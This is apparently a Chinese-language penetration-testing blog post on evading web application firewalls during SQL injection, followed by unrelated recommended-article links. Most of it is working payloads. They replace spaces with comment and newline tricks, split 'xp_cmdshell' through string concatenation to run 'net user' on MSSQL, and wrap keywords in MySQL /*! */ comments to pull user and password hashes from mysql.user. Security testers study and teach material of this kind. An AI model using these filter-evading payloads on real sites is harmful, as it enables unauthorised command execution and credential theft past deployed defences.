渗透测试之WAF规则触发绕过规则之规则库绕过方式

目录

Waf触发规则的绕过

特殊字符替换空格

实例

特殊字符拼接绕过waf

[Mysql 内置得方法](#Mysql 内置得方法)

注释包含关键字

实例


Waf触发规则的绕过


特殊字符替换空格

  • 用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格

    • 这个方法也可以部分绕过最新版本的WAF

    • 在sqlserver和mysql中都可以用/**/代替空格,也可以使用如下方法:

  • &&&
  • /*|%23--%23|*/ 注释符号 *|%23--%23|* 干扰符号
  • /**/代替空格
  • Select/**/*from/**/member

实例

http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23-- %23|*/select/*|%23--%23|*/1,user(),3,4,5 
-------------------------------------------------------------------------------
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2 
%23 是#的url编码形式


特殊字符拼接绕过waf

Mysql 内置得方法

Select user() 当前用户名称
Database() 当前数据库 
调用一些mysql得拼接函数 防火墙是解析不到 但是sql语句是能进行执行得。 
  • 把特殊字符拼接起来绕过WAF的检测

  • 通过+拼接,比如在Mysql中

  • 可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接

    如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
    可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

注释包含关键字

  • 在mysql中

    • 可以利用/!/包含关键词进行绕过

    • 在mysql中这个不是注释,而是取消注释的内容

    • 测试最新版本的WAF可以完美绕过。 这个需要mysql版本大于5.00.00

实例

如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
---------------------------------------------------------------------------------
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关推荐
诺离20 分钟前
让Android adb支持互联网调试脱离局域网
android·adb
袁震2 小时前
Android-okhttp详解
android·okhttp
练小杰2 小时前
【MySQL】我在广州学Mysql 系列——MySQL用户管理详解
android·数据库·经验分享·sql·学习·mysql·adb
有趣的灵魂222斤4 小时前
如何获取svg图标中的路径 (漫反射图标效果实现)
android·view·material3·漫反射·svg路径
苏金标15 小时前
android 的aab包
android
aaajj15 小时前
【Android】问deepseek存储访问
android
不停留17 小时前
文本左右对齐
android·java·javascript·数据结构·算法
雾里看山17 小时前
【MySQL】 数据类型
android·数据库·mysql
Channing Lewis19 小时前
kotlin 简介
android·开发语言·kotlin
Blue.ztl19 小时前
菜鸟之路Day10一一集合进阶(三)
android·java·开发语言